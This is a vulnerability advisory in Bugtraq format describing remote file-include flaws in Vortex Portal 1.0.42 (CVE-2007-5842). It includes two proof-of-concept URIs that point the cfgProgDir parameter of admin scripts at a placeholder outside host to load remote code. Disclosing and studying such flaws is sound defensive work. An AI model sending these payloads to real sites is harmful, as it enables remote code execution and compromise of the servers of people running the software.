Vortex Portal Multiple Remote File Include Vulnerabilities

Bugtraq ID:	26325
Class:	Input Validation Error
CVE:	CVE-2007-5842
Remote:	Yes
Local:	No
Published:	Nov 04 2007 12:00AM
Updated:	Nov 15 2007 12:40AM
Credit:	ShAy6oOoN is credited with the discovery of these vulnerabilities.
Vulnerable:	Vortex Portal Vortex Portal 1.0.42
Not Vulnerable:

Vortex Portal Multiple Remote File Include Vulnerabilities

Vortex Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Vortex Portal 1.0.42 is vulnerable; other versions may also be affected.

Vortex Portal Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/path/admincp/auth/secure.php?cfgProgDir=http://www.example2.com
http://www.example.com/path/admincp/auth/checklogin.php?cfgProgDir=http://www.example2.com

Vortex Portal Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Vortex Portal Multiple Remote File Include Vulnerabilities

References:

• Vortex Portal Homepage (Vortex Portal)